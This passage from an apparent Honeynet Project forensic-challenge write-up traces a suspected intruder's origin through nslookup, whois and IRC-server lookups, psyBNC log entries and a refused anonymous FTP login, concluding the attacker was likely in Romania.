USER2.CHANNELS.ENTRY1=#AiaBuni USER2.CHANNELS.ENTRY0=#RedCode ----------------- Now, let's have a look at the IRC server: ---nslookup--- $nslookup mesa.az.us.undernet.org Note: nslookup is deprecated and may be removed from future releases. Consider using the `dig' or `host' programs instead. Run nslookup with the `-sil[ent]' option to prevent this message from appearing. Server: 213.73.255.52 Address: 213.73.255.52#53 Non-authoritative answer: Name: mesa.az.us.undernet.org Address: 64.62.96.42 --------------- ---whois--- $whois 64.62.96.42 OrgName: Axient Communications, Inc. OrgID: AXNT Address: 8936 N. Central Avenue City: Phoenix StateProv: AZ PostalCode: 85020 Country: US NetRange: 64.62.0.0 - 64.62.127.255 CIDR: 64.62.0.0/17 NetName: AXIENT-1 NetHandle: NET-64-62-0-0-1 Parent: NET-64-0-0-0-0 NetType: Direct Allocation NameServer: DNS.LAX.LLNW.NET NameServer: DNS.PHX1.LLNW.NET Comment: ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE RegDate: 2000-03-14 Updated: 2002-06-19 TechHandle: WP5-ARIN TechName: Petrisko, William TechPhone: +1-602-850-3089 TechEmail: billp@wjp.net # ARIN WHOIS database, last updated 2003-09-27 19:15 # Enter ? for additional hints on searching ARIN's WHOIS database. ----------- Some server info from undernet.org (http://www.undernet.org/servers.php?info=63) ---server info--- Server: mesa.az.us.undernet.org Server ip: irc2.easynews.com Ports: 6660, 6665-6667, 7000 Region: US Sponsor: EasyNews Location: United States of America Server Admin: AndreasC Ops / admins: AndreasC ----------------- Just an IRC server, the #radioactiv channel exists but I cant find a user "redcode" there. Thats a pity, otherwise we could have had a little chat with our suspect ;) Some other interesting information from psybnc.log mentioned in the question 4 section: ---psybnc.log--- <..SNIP..> Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro <..SNIP..> Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro <..SNIP..> ----------------- Let's have a look. ---nslookup--- $ nslookup sanido-08.is.pcnet.ro Note: nslookup is deprecated and may be removed from future releases. Consider using the `dig' or `host' programs instead. Run nslookup with the `-sil[ent]' option to prevent this message from appearing. Server: 213.73.255.52 Address: 213.73.255.52#53 Non-authoritative answer: Name: sanido-08.is.pcnet.ro Address: 213.154.118.200 -------------- ---whois--- $ whois 213.154.118.200 % This is the RIPE Whois server. % The objects are in RPSL format. % % Rights restricted by copyright. % See http://www.ripe.net/ripencc/pub-services/db/copyright.html inetnum: 213.154.96.0 - 213.154.127.255 netname: PCNET descr: PCNET Data Network S.A. descr: PROVIDER ADSL Network country: RO admin-c: BT17-RIPE tech-c: PDNN1-RIPE status: ASSIGNED PA notify: tudor@pcnet.ro mnt-by: AS8503-MNT changed: tudor@pcnet.ro 20030704 source: RIPE route: 213.154.116.0/22 descr: PCNET origin: AS8503 notify: tudor@pcnet.ro mnt-by: AS8503-MNT changed: tudor@pcnet.ro 20020912 source: RIPE role: PCNET Data Network NOC address: Splaiul Unirii, nr. 10 address: Bucharest, ROMANIA phone: +40 1 330 86 61 phone: +40 1 330 35 23 fax-no: +40 1 675 49 99 e-mail: tudor@pcnet.ro trouble: +40 9 325 18 84 admin-c: BT17-RIPE tech-c: BT17-RIPE tech-c: AP158-RIPE tech-c: CM3059-RIPE tech-c: CN19-RIPE tech-c: IG20-RIPE tech-c: CR60-RIPE nic-hdl: PDNN1-RIPE remarks: ---------- remarks: abuse: abuse@pcnet.ro remarks: ---------- remarks: for escaladation please directly call the remarks: technical manager notify: tudor@pcnet.ro mnt-by: AS8503-MNT changed: tudor@pcnet.ro 20011008 source: RIPE person: Bogdan Tudor remarks: Technical Manager remarks: PCNET Data Network S.A. address: Bucharest, Romania phone: +40 9 325 18 84 phone: +40 1 330 86 61 phone: +40 1 330 35 23 fax-no: +40 1 675 49 99 nic-hdl: BT17-RIPE mnt-by: BT17-RIPE-MNT notify: tudor@pcnet.ro e-mail: tudor@pcnet.ro changed: tudor@pcnet.ro 20011009 source: RIPE ----------- It looks like someone from Romania has connected to the IRC bot. Could that be the attackers origin? What else do we have. We've got some information from the network sniffer discussed in the question 7 section. Let's have a look at an interesting entry: ---mfs--- --------------------------------------------------------------------- Time: Sun Aug 10 15:40:56 Size: 60 Path: 192.168.1.79 => 63.99.224.38 [21] --------------------------------------------------------------------- It seems that the possible attacker has visited an FTP server. Lets have a look again: ---whois--- whois 63.99.224.38 UUNET Technologies, Inc. UUNET63 (NET-63-64-0-0-1) 63.64.0.0 - 63.127.255.255 Ready Hosting UU-63-99-224-D4 (NET-63-99-224-0-1) 63.99.224.0 - 63.99.224.255 # ARIN WHOIS database, last updated 2003-09-27 19:15 # Enter ? for additional hints on searching ARIN's WHOIS database. ----------- OK, lets see: ---whois--- $whois 63.64.0.0 OrgName: UUNET Technologies, Inc. OrgID: UU Address: 22001 Loudoun County Parkway City: Ashburn StateProv: VA PostalCode: 20147 Country: US NetRange: 63.64.0.0 - 63.127.255.255 CIDR: 63.64.0.0/10 NetName: UUNET63 NetHandle: NET-63-64-0-0-1 Parent: NET-63-0-0-0-0 NetType: Direct Allocation NameServer: AUTH03.NS.UU.NET NameServer: AUTH00.NS.UU.NET Comment: ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE RegDate: 1999-01-22 Updated: 2003-01-23 TechHandle: OA12-ARIN TechName: UUnet Technologies, Inc., Technologies TechPhone: +1-800-900-0241 TechEmail: help4u@mci.com OrgAbuseHandle: ABUSE3-ARIN OrgAbuseName: abuse OrgAbusePhone: +1-800-900-0241 OrgAbuseEmail: abuse-mail@mci.com OrgNOCHandle: OA12-ARIN OrgNOCName: UUnet Technologies, Inc., Technologies OrgNOCPhone: +1-800-900-0241 OrgNOCEmail: help4u@mci.com OrgTechHandle: SWIPP-ARIN OrgTechName: swipper OrgTechPhone: +1-800-900-0241 OrgTechEmail: swipper@uu.net # ARIN WHOIS database, last updated 2003-09-27 19:15 # Enter ? for additional hints on searching ARIN's WHOIS database. ---------- Let's try the FTP server: ---ftp--- ftp 63.99.224.38 Connected to 63.99.224.38. 220 Serv-U FTP-Server v2.5j for WinSock ready... Name (63.99.224.38:root): anonymous 530 Sorry, no ANONYMOUS access allowed. Login failed. Remote system type is UNIX. Using binary mode to transfer files. --------- No success either. The best information we've got was a connection to the IRC bot from Romania, so I guess Romania. 5. Conclusion ------------- I'm going to keep this short, because it's not that early anymore and my body would appreciate some rest by now. This is my first active participation to the Honeynet project. It was fun and very instructive. I can't wait to learn even more from the answers, and the results of all other participants. Final conclusion: keep your software up to date!